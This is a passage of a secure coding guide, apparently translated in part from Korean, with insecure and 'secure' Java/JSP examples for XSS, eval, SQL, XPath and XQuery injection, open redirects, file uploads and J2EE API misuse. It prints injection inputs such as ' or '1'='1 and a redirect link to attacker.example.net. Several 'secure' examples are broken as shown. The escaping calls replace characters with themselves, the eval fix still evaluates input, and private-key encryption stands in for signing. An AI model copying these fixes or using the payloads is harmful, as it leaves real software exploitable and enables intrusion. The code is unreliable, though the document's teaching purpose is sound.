The external input (name) passed from request.getParameter() is used directly to generate the argument for document.write().
Secure Code Example
1: ……
2: <%
3: // 외부의 입력을 받는다.
4: String name = request.getParameter("name");
5: // 입력값에 대한 유효성 검사를 한다.
6: if ( name != null ) {
7: name = name.replaceAll("<","<" );
8: name = name.replaceAll(">",">" );
9: } else { return; }
10: %>
11: <SCRIPT language="javascript">
12: // 입력값이 출력된다.
13: document.write("name:" + <%=name%> );
Change all characters used for script generation in HTML, such as < and >, to < and >.
D. References
[1] CWE-79: Failure to Preserve Web Page Structure – http://cwe.mitre.org/data/definitions/79.html
[2] OWASP Top 10 2010 – A2 Cross Site Scripting (XSS)
[3] SANS Top 25 2010 – (SANS 2010) Insecure Interaction – CWE ID 079 ImproperNeutralization of Input During Web Page Generation (‘Cross-site Scripting’)
15. Eval Injection (Improper Neutralization of Directives in Dynamically Evaluated Code)
A. Definition
If untrusted external input is used without proper inspection to generate scripts or program command strings that are executed dynamically, it must be appropriately filtered to ensure only intended inputs are used. Otherwise, arbitrary external input could be used as a command, allowing an attacker to perform unintended actions.
B. Secure Coding Techniques
When external input is used as an argument for the eval() function, dangerous characters must be removed to prevent the execution of externally injected JavaScript.
C. Examples
Insecure Code Example
1: <%@page import="org.owasp.esapi.*"%>
2: <%@page contentType="text/html" pageEncoding="UTF-8"%>
3: <html>
4: <head>
5: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6: </head>
7: <body>
8: <h1>Eval 취약점 샘플</h1>
9: <%
10: String evalParam = request.getparameter("eval" );
11: ……
12: %>
13: <script>
14: eval(<%=evalParam%>);
15: </script>
16: </body>
17: </html>
If there is JavaScript code in the external input, it will be executed by eval().
Secure Code Example
1: <%@page import="org.owasp.esapi.*"%>
2: <%@page contentType="text/html" pageEncoding="UTF-8"%>
3: <html>
4: <head>
5: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
6: </head>
7: <body>
8: <h1>Eval 취약점 샘플</h1>
9: <%
10: // 외부의 입력값을 받는다.
11: String evalParam = request.getparameter("eval");
12: // 입력값에 대한 유효성을 체크한다.
13: if ( evalParam != null ) {
14: evalParam = evalParam.replaceAll("<","<" );
15: evalParam = evalParam.replaceAll(">",">");
16: evalParam = evalParam.replaceAll("&" ,"&");
17: evalParam = evalParam.replaceAll("(","(" );
18: evalParam = evalParam.replaceAll(")",")" );
19: evalParam = evalParam.replaceAll("\"" ,""" );
20: evalParam = evalParam.replaceAll("\'" ,"'");
21: }
22: ……
23: %>
24: <script>
25: eval(<%=evalParam%>);
18: </script>
19: </body>
20: </html>
By replacing characters necessary for writing scripts (e.g., <, >, &, \, etc.), the execution of external input code can be prevented.
라. 참고 문헌
[1] CWE-95: Eval Injection – http://cwe.mitre.org/data/definitions/95.html
[2] OWASP Top Ten 2007 A3 – Malicious File Execution
[2] OWASP Top Ten 2007 Category A3 – Malicious File Execution
[3] SANS Top 25 2009 – (SANS 2009) Insecure Interaction – CWE ID 116 Improper Encoding or Escaping of Outpu
16. Process Control
A. Definition
Loading libraries or executing commands from untrusted sources or untrusted environments can lead to the execution of malicious code.
B. Secure Coding Techniques
Use absolute paths when loading libraries within a program.
C. Examples
Insecure Code Example
1: ……
2: public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
{
3: // 외부 라이브러리를 호출 시 절대 경로가 들어 있지 않다.
4: Runtime.getRuntime().loadLibrary(" libraryName");
5: }
6: ……
The example above is vulnerable because it does not specify an absolute path. If an attacker manipulates environment variables, a different, malicious library might be loaded instead.
Secure Code Example
1: ……
2: public void loadLibrary() throws SecurityException, UnsatisfiedLinkError, NullPointerException
{
3: // 외부 라이브러리 호출 시 절대 경로를 지정한다.
4: Runtime.getRuntime().loadLibrary("/usr/lib/libraryName" );
5: }
6: ……
By specifying an absolute path, you prevent the library from being changed or hijacked via environment variable manipulation.
D. References
[1] CWE-114: Process Control – http://cwe.mitre.org/data/definitions/114.html
17. Integer Overflow
A. Definition
An integer overflow occurs when an integer value increases beyond the maximum value allowed in Java. When this happens, the stored value can unintentionally “wrap around” to become a very small number or a negative number. Using such unchecked values in loop conditions, memory allocation, or memory copying—or making security-related decisions based on them—can lead to significant vulnerabilities.
B. Secure Coding Techniques
Variables used for dynamic memory allocation can be converted into negative values due to an overflow during previous processing. Therefore, it is essential to check the range of the variable’s value beforehand.
C. Examples
Insecure Code Example
1: ……
2: public static void main(String[] args) {
3: int size = new Integer(args[0]).intValue();
4: size += new Integer(args[1]).intValue();
5: MyClass[] data = new MyClass[size];
6: ……
7:
The example above uses values dynamically calculated from external inputs (args[0], args[1]) to determine the array size. If the calculated size becomes a negative value due to an integer overflow, it will cause an error in the code (such as NegativeArraySizeException).
Secure Code Example
1: ……
2: public static void main(String[] args) {
3: int size = new Integer(args[0]).intValue();
4: size += new Integer(args[1]).intValue();
5: // 배열의 크기 값이 음수값이 아닌지 검사한다.
6: if (size < 0) return ;
7: MyClass[ ] data = new MyClass[size];
8: ……
When using a value for dynamic memory allocation, a statement is required to check whether the value is negative to prevent crashes or unintended behavior.
D. References
[1] CWE-190: Integer Overflow – http://cwe.mitre.org/data/definitions/190.html
18. Unrestricted Upload of File with Dangerous Type
A. Definition
Allowing an attacker to upload or transmit dangerous file types that can be automatically processed within the operating environment can cause security vulnerabilities.
B. Secure Coding Techniques
Limit the type and size of uploaded files, and set the upload directory outside the web server’s document root. Use a whitelist approach to ensure only permitted extensions are uploaded, and ensure extensions are processed without case sensitivity.
C. Examples
Insecure Code Example
1: ……
2: public void upload(HttpServletRequest request) throws ServletException {
3: MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
4: String next = (String) mRequest.getFileNames().next();
5: MultipartFile file = mRequest.getFile(next);
6:
7: // MultipartFile로부터 file을 얻음
8: String fileName = file.getOriginalFilename();
9:
10: // upload 파일에 대한 확장자, 크기의 유효성 체크를 하지 않음
11: File uploadDir = new File("/app/webapp/data/upload/notice");
12: String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
13:
14: /* 이하 file upload 루틴 */
15: ……
If the validity of the uploaded file is not checked, an attacker can upload or transmit dangerous file types.
Secure Code Example
1: ……
2: public void upload(HttpServletRequest request) throws ServletException {
3: MultipartHttpServletRequest mRequest = (MultipartHttpServletRequest) request;
4: String next = (String) mRequest.getFileNames().next();
5: MultipartFile file = mRequest.getFile(next);
6: if ( file == null )
7: return ;
8:
9: // 업로드 파일 크기를 제한한다.
10: int size = file.getSize();
11: if ( size > MAX_FILE_SIZE ) throw new ServletException("에러“);
12:
13: // MultipartFile로 부터 file을 얻음
14: String fileName = file.getOriginalFilename().toLowerCase();
15:
16: // 화이트리스트 방식으로 업로드 파일의 확장자를 체크한다.
17: if ( fileName != null ) {
18: if ( fileName.endsWith(".doc") || fileName.endsWith(".hwp" )
19: || fileName.endsWith(" .pdf") || fileName.endsWith(".xls" ) ) {
20: /* file 업로드 루틴 */
21: }
22: else throw new ServletExeption("에러");
23: }
24: // 업로드 파일의 디렉터리 위치는 다큐먼트 루트의 밖에 위치시킨다.
25: File uploadDir = new File("/app/webapp/data/upload/notice");
26: String uploadFilePath = uploadDir.getAbsolutePath()+"/" + fileName;
27:
28: /* 이하 file upload 루틴 */
29: ……
The example above limits the size and location of the uploaded file. It also checks the file extension and restricts uploads if the extension is not permitted.
D. References
[1] CWE-434: Unrestricted Upload of File with Dangerous Type – http://cwe.mitre.org/data/definitions/434.html
[2] OWASP Top Ten 2007 A3, Malicious File Execution
[3] SANS Top 25 2010 – (SANS 2010) Insecure Interaction – CWE ID 434 Unrestricted Upload of File with Dangerous Type
19. Unsafe Reflection (Use of Externally-Controlled Input to Select Classes or Code)
A. Definition
When unvalidated external input is used for dynamic class loading, an attacker can manipulate the input to cause unintended classes to be loaded.
B. Secure Coding Techniques
Do not use external input directly as a class name. Instead, design the program to select an appropriate class name from a predefined list of candidates (whitelist) based on the external input.
C. Examples
Insecure Code Example
1: ……
2: public void f() {
3: Properties props = new Properties();
4: ....
5: if ( in !=null && in.available() > 0 ) {
6: props.load(in);
7: if ( props == null || props.isEmpty() )
8: return ;
9: }
10: String type = props.getProperty("type");
11: Worker w;
12:
13: // 외부에서 입력된 type값의 유효성을 검증하지 않고 있다.
14: try {
15: Class workClass = Class.forName(type + "Worker");
16: w = (Worker) workClass.newInstance();
17: w.doAction();
18: } catch (ClassNotFoundException e) { …… }
19: ……
20: }
21:
22: abstract class Worker {
23: String work = "";
24: public abstract void doAction();
25: }
The example above creates an object by using the external input (type) as part of the class name. In this case, an attacker could manipulate the external input to load a completely different, inappropriate class.
Secure Code Example
1: ……
2: public void f() {
3: Properties props = new Properties();
4: ....
5: if ( in !=null && in.available() > 0 ) {
6: props.load(in);
7: if ( props == null || props.isEmpty() )
8: return ;
9: }
10: String type = props.getProperty("type");
11: Worker w;
12:
13: // 외부 입력되는 값에 대해 유효성을 검증하여야한다.
14: if (type == null || "".equals(type)) return;
15: if (type.equals("Slow" )) {
16: w = new SlowWorker();
17: w.doAction();
18: } else if (type.equals("Hard" )) {
19: w = new HardWorker();
20: w.doAction();
21: } else {
22: System.err.printf("No propper class name!");
23: }
24: ……
25: }
26:
27: abstract class Worker {
28: String work = "";
29: public abstract void doAction();
30: }
By ensuring that an appropriate class name is selected from a predefined list of candidates (whitelist) based on the external input (type), you can eliminate the risk of inappropriate classes being used through malicious external input.
D. References
[1] CWE-470: Unsafe Reflection – http://cwe.mitre.org/data/definitions/470.html
20. Download of Code Without Integrity Check
A. Definition
If dangerous file types that can be executed on a web server are downloaded from a remote location and executed on the client without verifying the source or checking the integrity of the code, an attacker can perform unintended actions.
B. Secure Coding Techniques
When providing code for download, such as in software auto-updates, use encrypted digital signatures and ensure that the client verifies these signatures.
C. Examples
Insecure Code Example
1: URL[] classURLs= new URL[]{new URL("file:subdir/")};
2: URLClassLoader loader = new URLClassLoader(classURLs);
3: Class loadedClass = Class.forName("MyClass", true, loader);
The program above uses URLClassLoader to download a file from a remote source. If an integrity check is not performed on the target file, damage may occur due to file tampering or unauthorized modification.
Secure Code Example
1: // 서버에서는 private key를 가지고 MyClass를 암호화한다.
2: String jarFile = "./download/util.jar";
3: byte[] loadFile = FileManager.getBytes(jarFile);
4: loadFile = encrypt(loadFile,privateKey);
5: // jarFile명으로 암호화된 파일을 생성한다.
6: FileManager.createFile(loadFile,jarFileName);
7: ....
8: // 클라이언트에서는 파일을 다운로드 받을 경우 public key로 복호화 한다.
9: URL[] classURLs= new URL[]{new URL("https://filesave.com/download/util.jar")};
10: URLConnection conn=classURLs.openConnection();
11: InputStream is = conn.getInputStream();
12: // 입력 스트림을 읽어 서버의 jarFile명으로 파일을 출력한다.
13: FileOutputStream fos = new FileOutputStream(new File(jarFile));
14: while ( is.read(buf) != -1 ) {
15: ...
16: }
17: byte[] loadFile = FileManager.getBytes(jarFile);
18: loadFile = decrypt(loadFile,publicKey);
19: // 복호화된 파일을 생성한다.
20: FileManager.createFile(loadFile,jarFile);
21: URLClassLoader loader = new URLClassLoader(classURLs);
22: Class loadedClass = Class.forName("MyClass", true, loader);
By using public-key cryptographic algorithms and mechanisms, a signature for the transmitted file is generated to determine whether the file has been tampered with.
D. References
[1] CWE-494: Download of Code Without Integrity Check – http://cwe.mitre.org/data/definitions/494.html
[2] SANS Top 25 Most Dangerous Software Errors – http://www.sans.org/top25-software-errors/
[3] Richard Stanway (r1CH). “Dynamic File Uploads, Security and You”
[4] Johannes Ullrich. “8 Basic Rules to Implement Secure File Uploads”. 2009-12-28
21. SQL Injection: Hibernate
A. Definition
When untrusted external input is used as a string to generate SQL queries within the Hibernate API without proper inspection, an attacker can deliver unintended strings. This distorts the meaning of the query or alters its structure, allowing arbitrary database commands to be executed.
B. Secure Coding Techniques
Use only constant strings when creating queries. If a query must be modified based on external input, create a query string that accepts parameters and set those values using methods like setParameter() or set<TypeName>().
C. Examples
Insecure Code Example
1: ……
2: public void listHoney() {
3: Session session = new Configuration().configure().buildSessionFactory().openSession();
4: try {
5: Properties props = new Properties();
6: String fileName = "Hibernate.properties";
7: FileInputStream in = new FileInputStream(fileName);
8: props.load(in);
9: ……
10: // 외부로부터 입력을 받음
11: String idValue = props.getProperty(" idLow" );
12: // 외부 입력을 검증없이 SQL qeuery문의 인자로 사용한다.
13: Query query = session.createQuery("from Address a where a.name='" + idValue);
14: query.list();
15: } catch (IOException e) { …… }
16: ……
The example above uses external input (idValue) directly in the query without any validation. If an attacker inputs a string like 'n' or '1'='1', the resulting query becomes from Address a where a.name='n' or '1'='1', causing all records in the table to be returned.
("from Address a where a.name='n' or '1'='1'")
Secure Code Example
1: ……
2: public void listHoney() {
3: Session session = new Configuration().configure().buildSessionFactory().openSession();
4: try {
5: Properties props = new Properties();
6: String fileName = "Hibernate.properties";
7: FileInputStream in = new FileInputStream(fileName);
8: if (in == null || in.available() <= 0) return;
9: props.load(in);
10: ……
11: // 외부로 부터 입력을 받는다.
12: String idValue = props.getProperty("idLow");
13: // 입력값에 대한 유효성을 검사한다.
14: if (idValue == null || " " .equals(idValue)) idValue = "defaultID";
15: // SQL query 문장을 작성한다.
16: Query query = session.createSQLQuery("select h from Honey as h where h.id '= :idVal‘");
17: query.setParameter(" idVal", idValue);
18: query.list();
19: } catch (IOException e) { …… }
20: ……
By setting the argument value using the setParameter method according to the external input (idValue), you can prevent the structure of the query from being altered.
D. References
[1] CWE-564: SQL Injection: Hibernate – http://cwe.mitre.org/data/definitions/564.html
[2] SANS Top 25 2009 – (SANS 2009) Insecure Interaction – CWE ID 116 Improper Encoding or Escaping of Output
22. URL Redirection to Untrusted Site (‘Open Redirect’)
A. Definition
A server program that uses an externally received string as a URL address for automatic redirection can be vulnerable. While it might seem safe because the connection is typically made to a URL sent from a client form, an attacker can manipulate the request to redirect the victim to a dangerous or malicious URL.
B. Secure Coding Techniques
Use a whitelist of URLs and domains allowed for automatic redirection to other sites.
C. Examples
Insecure Code Example
1: ……
2: protected void doGet(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4: String query = request.getQueryString();
5: if (query.contains("url")) {
6: String url = request.getParameter("url" );
7: response.sendRedirect(url);
8: }
9: ……
If the above code exists on the server, an attacker can trick a victim into clicking a link like the one below, leading them to an unintended site (such as a phishing site).
(<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>)
Secure Code Example
1: ……
2: protected void doGet(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4: String query = request.getQueryString();
5:
6: // 다른 페이지 이동하는 URL 리스트를 만든다.
7: String allowURL[] = { "url1", "url2", "url3" };
8: ArrayList arr = new ArrayList();
9: for ( int i = 0; i < allowURL.length; i++ )
10: arr.add(allowURL[i]);
11:
12: if (query.contains("url")) {
13: String url = request.getParameter("url");
14: // url에 대한 유효성 점검을 한다. 만약 http://가 있으면 다른 도메인으로 URL을
redirect로 의심된다.
15: if (url != null && url.indexOf("http://") != -1 ) {
16: url = url.replaceAll("\r", "").replaceAll("\n", "");
17: // URL 목록에 있지 않으면 요청을 거부한다.
18: if ( !arr.contains(url) ) throw new MyException("에러“);
19: response.sendRedirect(url);
20: }
21: }
22: ……
By not receiving the target URL directly from an external source but instead creating a whitelist of permitted URLs and domains to choose from, you can fundamentally block access to malicious sites.
D. References
[1] CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’) – http://cwe.mitre.org/data/definitions/601.html
[2] OWASP Top Ten 2010 Category A10 – Unvalidated Redirects and Forwards
[3] SANS 2010 Top 25 – Insecure Interaction Between Components
23. XPath Injection (Failure to Sanitize Data within XPath Expressions)
A. Definition
If untrusted external input is used as a string to generate an XPath query without proper validation, an attacker can pass unintended strings to distort the meaning of the query or change its structure. This allows the attacker to execute arbitrary query commands.
B. Secure Coding Techniques
Use technologies like XQuery that support parameterized queries, which allow you to set argument values into a predefined query skeleton.
C. Examples
Insecure Code Example
1: ……
2: // 외부로 부터 입력을 받음
3: String name = props.getProperty("name" );
4: String passwd = props.getProperty("password" );
5: ……
6: XPathFactory factory = XPathFactory.newInstance();
7: XPath xpath = factory.newXPath();
8: ……
9: // 외부 입력이 xpath의 인자로 사용
10: XPathExpression expr = xpath.compile("//users/user[login/text()='" + name
11: + "' and password/text() = '" + passwd + "']/home_dir/text()");
12: Object result = expr.evaluate(doc, XPathConstants.NODESET);
13: NodeList nodes = (NodeList) result;
14: for (int i = 0; i < nodes.getLength(); i++) {
15: String value = nodes.item(i).getNodeValue();
16: if (value.indexOf(">") < 0) {
17: System.out.println(value);
18: }
19: ……
In the example above, if the value "user1" is passed for name and ' or ''=' is passed for passwd, the following query is generated, allowing a login without a valid authentication process:
(//users/user[login/text()=’user1′ or ”=” and password/text() = ” or ”=”]/home_dir/text())
Secure Code Example
dologin.xp 파일
1: declare variable $loginID as xs:string external;
2: declare variable $password as xs:string external;
3: //users/user[@loginID=$loginID and @password=$password]
XQuery를 이용한 XPath Injection 방지
1: // 외부로 부터 입력을 받음
2: String name = props.getProperty("name");
3: String passwd = props.getProperty("password");
4: Document doc = new Builder().build("users.xml");
5: // XQuery를 위한 정보 로딩
6: XQuery xquery = new XQueryFactory().createXQuery(new File("dologin.xq" ));
7: Map vars = new HashMap();
8: vars.put("loginID", name);
9: vars.put("password", passwd);
10: Nodes results = xquery.execute(doc, null, vars).toNodes();
11: for (int i=0; i < results.size(); i++) {
12: System.out.println(results.get(i).toXML());
13: }
As shown in the example, by using XQuery—which supports parameterized queries—to create a query skeleton in advance and then setting the argument values, you can prevent the query structure from being altered by external input.
D. References
[1] CWE-643: XPath Injection – http://cwe.mitre.org/data/definitions/643.html
[2] OWASP Top 10 2010 A1 Injection Flaws
[3] Web Application Security Consortium. “XPath Injection.” http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml
24. XQuery Injection (Failure to Sanitize Data within XQuery Expressions)
A. Definition
In applications that access XML data using XQuery, if external input is used to generate the query string, an attacker can deliver unintended strings to distort the meaning of the query or alter its structure, thereby executing arbitrary query commands.
B. Secure Coding Techniques
Prevent modification of the query structure by using constant strings in the prepareExpression() method to create a Parameterized Query and setting the arguments later.
C. Examples
Insecure Code Example
1: ……
2: // 외부로 부터 입력을 받음
3: String name = props.getProperty("name" );
4: Hashtable env = new Hashtable();
5: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: javax.xml.xquery.XQDataSource xqds =
9: (javax.xml.xquery.XQDataSource) ctx.lookup("xqj/personnel");
10: javax.xml.xquery.XQConnection conn = xqds.getConnection();
11:
12: String es = "doc('users.xml')/userlist/user[uname='" + name + "']";
13: // 입력값이 Xquery의 인자로 사용
14: XQPreparedExpression expr = conn.prepareExpression(es);
15: XQResultSequence result = expr.executeQuery();
16: while (result.next()) {
17: String str = result.getAtomicValue();
18: if (str.indexOf('>') < 0) {
19: System.out.println(str);
20: }
21: ……
In the example above, the external input (name) is used to generate the string argument for a query via prepareExpression. If a value such as something' or '1'='1 is passed as the name, it can execute the query shown below, which could output all values within the file:
(doc('users.xml')/userlist/user[uname='something' or '=')
Secure Code Example
1: ……
2: // 외부로 부터 입력을 받음
3: String name = props.getProperty("name");
4: Hashtable env = new Hashtable();
5: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
6: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: javax.xml.xquery.XQDataSource xqds =
9: (javax.xml.xquery.XQDataSource) ctx.lookup("xqj/personnel");
10: javax.xml.xquery.XQConnection conn = xqds.getConnection();
11:
12: String es = "doc('users.xml')/userlist/user[uname='$xpathname']";
13: // 입력값이 Xquery의 인자로 사용
14: XQPreparedExpression expr = conn.prepareExpression(es);
15: expr.bindString(new QName("xpathname"), name, null);
16: XQResultSequence result = expr.executeQuery();
17: while (result.next()) {
18: String str = result.getAtomicValue();
19: if (str.indexOf('>') < 0) {
20: System.out.println(str);
21: }
22: ……
By using bindXXX functions that accept external input values without altering the XQuery structure, you can prevent external input from modifying the query logic.
D. References
[1] CWE-652: XQuery Injection – http://cwe.mitre.org/data/definitions/652.html
[2] OWASP Top 10 2010 A1 Injection Flaws
25. Reliance on Untrusted Inputs in a Security Decision
A. Definition
This vulnerability occurs when an application’s security decisions are based on the content of input values. If these input values are tampered with by an untrusted user, it provides a way to bypass the application’s protection mechanisms.
B. Secure Coding Techniques
- Store system state information and sensitive data only on the server.
- If sensitive information must be stored on the client side, ensure it is only stored after undergoing encryption and integrity checks.
- Even if input validation is performed in the browser via JavaScript, always re-validate the data on the server side.
C. Examples
Insecure Code Example
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new MyException("인증 에러");
6: }
7: Cookie userCookie = new Cookie("user" ,username);
8: Cookie authCookie = new Cookie("authenticated" ,"1" );
9:
10: response.addCookie(userCookie);
11: response.addCookie(authCookie);
12: %>
User authentication information and the “authenticated” status are stored in cookies as plain text. Since an attacker can easily modify cookie information (e.g., changing authenticated from 0 to 1), sensitive info should be encrypted if stored in cookies, or preferably stored in the WAS (Web Application Server) session.
Secure Code Example
1: <%
2: String username = request.getParameter("username");
3: String password = request.getParameter("password");
4: if (username==nill || password==null || !isAuthenticatedUser(usename, password)) {
5: throw new MyException("인증 에러");
6: }
7: // 사용자 정보를 세션에 저장한다.
8: HttpSession ses = new HttpSession(true);
9: ses.putValue("user",username);
10: ses.putValue("authenticated","1" );
11: %>
By storing user authentication information in the session, the possibility of exposing or tampering with authentication data from the outside is eliminated.
D. References
[1] CWE-807: Reliance on Untrusted Inputs in a Security Decision – http://cwe.mitre.org/data/definitions/807.html
CWE-247: Reliance on DNS Lookups in a Security Decision – http://cwe.mitre.org/data/definitions/247.html
CWE-302: Authentication Bypass by Assumed-Immutable Data – http://cwe.mitre.org/data/definitions/302.html
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision – http://cwe.mitre.org/data/definitions/784.html
[2] CWE/SANS Top 25 Most Dangerous Software Errors
Section 2. API Misuse
An API (Application Programming Interface) is the language, message format, or protocol used for communication between an operating system and an application. While APIs provide convenience and efficiency in development, the misuse of APIs or the use of APIs with known vulnerabilities can lead to decreased maintainability and serious security threats.
1. J2EE Bad Practices: Direct Management of Connections
A. Definition
The J2EE standard prohibits applications from manually creating and managing resource connections instead of using the connection management provided by the container. Doing so is prone to errors and can lead to resource leaks or performance degradation.
B. Secure Coding Techniques
Ensure that the J2EE application utilizes the connection management functions (such as Connection Pooling) provided by the container.
C. Examples
Insecure Code Example
1: public class U245 extends javax.servlet.http.HttpServlet {
2: private Connection conn;
3:
4: public void dbConnection(String url, String user, String pw) {
5: try {
6: // j2ee 서블릿에서 자원에 대한 연결을 직접 얻는다.
7: conn = DriverManager.getConnection(url, user, pw);
8: } catch (SQLException e) {
9: System.err.println("...");
10: } finally {
11: ……
12: }
Note: Connections should never be managed directly within the application code.
Secure Code Example
1: public class S245 extends javax.servlet.http.HttpServlet {
2: private static final String CONNECT_STRING = "jdbc:ocl:orcl";
3:
4: public void dbConnection() throws NamingException, SQLException {
5: Connection conn = null;
6: try {
7: // 자원관리기능을 이용해서 자원에 대한 연결을 얻는다.
8: InitialContext ctx = new InitialContext();
9: DataSource datasource = (DataSource) ctx.lookup(CONNECT_STRING);
10: conn = datasource.getConnection();
11: } catch (SQLException e) {
12: ……
13: } finally {
14: if ( conn != null )
15: conn.close();
16: }
17: }
Note: You must obtain resource connections through the platform’s resource management features (like a DataSource managed by a WAS).
D. References
[1] CWE-245: J2EE Bad Practices: Direct Management of Connections – http://cwe.mitre.org/data/definitions/245.html
2. J2EE Bad Practices: Direct Use of Sockets
A. Definition
When a J2EE application uses raw sockets directly instead of using framework-provided method calls, it must manually manage complex considerations such as channel security, error handling, and session management. This can introduce significant stability and security risks.
B. Secure Coding Techniques
Instead of using raw sockets, developers should use higher-level communication methods provided by the framework.
C. Examples
Insecure Code Example
1: public class S246 extends javax.servlet.http.HttpServlet {
2: private Socket socket;
3:
4: protected void doGet(HttpServletRequest request,
5: HttpServletResponse response) throws ServletException {
6: try {
7: // J2EE 응용프로그램에서 프레임워크 메소드 호출 대신에 소켓(Socket)을 직접
사용하고 있다.
8: socket = new Socket("kisa.or.kr", 8080);
9: } catch (UnknownHostException e) {
10: System.err.println("UnknownHostException occured");
11: } catch (IOException e) {
12: System.err.println("IOException occured");
13: } finally {
14: ...
15: }
16: }
17: }
Note: It is dangerous to use raw sockets directly within methods like doGet.
Secure Code Example
1: public class S246 extends javax.servlet.http.HttpServlet {
2: protected void doGet(HttpServletRequest request,
3: HttpServletResponse response) throws ServletException {
4: ObjectOutputStream oos = null;
5: ObjectInputStream ois = null;
6: try {
7: // 타겟이 WAS로 작성이 되면 URL Connection을 이용하거나, EJB를 통해서 호출한다.
8: URL url = new URL("https://127.0.0.1:8080/DataServlet");
9: URLConnection urlConn = url.openConnection();
10: urlConn.setDoOutput(true);
11: oos = new ObjectOutputStream(urlConn.getOutputStream());
12: oos.writeObject("data");
13: ois = new ObjectInputStream(urlConn.getInputStream());
14: Object obj = ois.readObject();
15: } catch (ClassNotFoundException e) {
16: System.err.println("Class Not Found");
17: } catch (IOException e) {
18: System.err.println("URL Connection Error occured");
19: } finally {
20: ……
21: }
22: }
23: }
Resource connections must be obtained using the platform’s resource management functions.
라. 참고 문헌
[1] CWE-246: J2EE Bad Practices: Direct Use of Sockets – http://cwe.mitre.org/data/definitions/246.html
3. Reliance on DNS Lookups in a Security Decision
A. Definition
Attackers can spoof DNS entries. Security decisions should never rely solely on DNS names. DNS servers are susceptible to cache poisoning attacks, and software must be developed under the assumption that it might run in a compromised DNS environment. If an attacker can modify DNS records, they can associate a domain name with a malicious IP address.
B. Secure Coding Techniques
While IP addresses can also be manipulated, they are generally more secure than relying on DNS names for identity verification.
C. Examples
Insecure Code Example
1: public class U247 extends HttpServlet {
2: public void doGet(HttpServletRequest req, HttpServletResponse res)
3: throws ServletException, IOException {
4: boolean trusted = false;
5: String ip = req.getRemoteAddr();
6:
7: // 호스트의 IP 주소를 얻어온다.
8: InetAddress addr = InetAddress.getByName(ip);
9:
10: // 호스트의 IP정보와 지정된 문자열(trustme.com)이 일치하는지 검사한다.
11: if (addr.getCanonicalHostName().endsWith(" trustme.com" ) ) {
12: trusted = true;
13: }
14: if (trusted) {
15: ……
16: } else {
17: ……
18: }
19: }
20: }
Note: This code verifies trust through a DNS name. If an attacker manipulates the DNS cache, the server may grant trust to an unauthorized entity.
Secure Code Example
1: public class S247 extends HttpServlet {
2:
3: public void doGet(HttpServletRequest req, HttpServletResponse res)
4: throws ServletException, IOException {
5:
6: String ip = req.getRemoteAddr();
7: if ( ip == null || "".equals(ip) )
8: return ;
9:
10: String trustedAddr = "127.0.0.1";
11:
12: if (ip.equals(trustedAddr) ) {
13: ……
14: } else {
15: ……
16: }
17: }
18: }
DNS lookup에 의한 호스트 이름 비교를 하지 않고 IP 주소를 직접 비교하도록 수정한다.
D. References
[1] CWE-247: Reliance on DNS Lookups in a Security Decision – http://cwe.mitre.org/data/definitions/247.html
[2] SANS Top 25 2010 – CWE ID 807: Reliance on Untrusted Inputs in a Security Decision
4. J2EE Bad Practices: Use of System.exit()
A. Definition
Using System.exit() in a J2EE application terminates even the container.
B. Secure Coding Techniques
System.exit() must not be used in J2EE programs.
C. Examples
Insecure Code Example
1: public class U382 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4:
5: FileHandler handler = new FileHandler("errors.log");
6: Logger logger = Logger.getLogger("com.mycompany");
7: logger.addHandler(handler);
8: try {
9: do_something(logger);
10: } catch (IOException ase) {
11: // J2EE 프로그램에서 System.exit()을 사용
12: System.exit(1);
13: }
14: }
15:
16: private void do_something(Logger logger) throws IOException {
17: }
18: }
Calling System.exit() within the doPost() method terminates even the container.
Secure Code Example
1: public class S382 extends HttpServlet {
2: public void doPost(HttpServletRequest request, HttpServletResponse response)
3: throws ServletException, IOException {
4:
5: FileHandler handler = new FileHandler("errors.log");
6: Logger logger = Logger.getLogger("com.mycompany");
7: logger.addHandler(handler);
8: try {
9: do_something(logger);
10: } catch (IOException ase) {
11: logger.info("Caught: " + ase.toString());
12: //System.exit(1)의 사용을 금한다.
13: //System.exit(1);
14: }
15: }
16:
17: private void do_something(Logger logger) throws IOException {
18: }
19: }
Exits the doPost method without calling System.exit().
D. References
[1] CWE-382 J2EE: Use of System.exit() – http://cwe.mitre.org/data/definitions/382.html
5. Missing Check for Null Parameter
A. Definition
According to Java standards, the implementation of Object.equals(), Comparable.compareTo(), and Comparator.compare() must return a specified value when a parameter is null. Failure to follow this contract can lead to unexpected behavior, such as a NullPointerException.
B. Secure Coding Techniques
In the implementations of Object.equals(), Comparable.compareTo(), and Comparator.compare(), the parameters must be compared against null.
C. Examples
Insecure Code Example
1: public class U9201 implements java.util.Comparator {
2: public int compare(Object o1, Object o2) {
3: //o1, o2에 대한 null 체크 유무가 없음
4: int i1 = o1.hashCode();
5: int i2 = o2.hashCode();
6: int ret;
7: if (i1 > i2) { ret = 1; }
8: else if (i1 == i2) { ret = 0; }
9: else { ret = -1; }
10: return ret;
11: }
12: ……
13: }
The parameters were not checked for null.
Secure Code Example
1: public class S9201 implements java.util.Comparator {
2: public int compare(Object o1, Object o2) {
3: int ret;
4: // 비교되는 객체에 대한 null 여부를 점검을 한다.
5: if (o1 != null && o2 != null) {
6: int i1 = o1.hashCode();
7: int i2 = o2.hashCode();
8: if (i1 > i2) { ret = 1; }
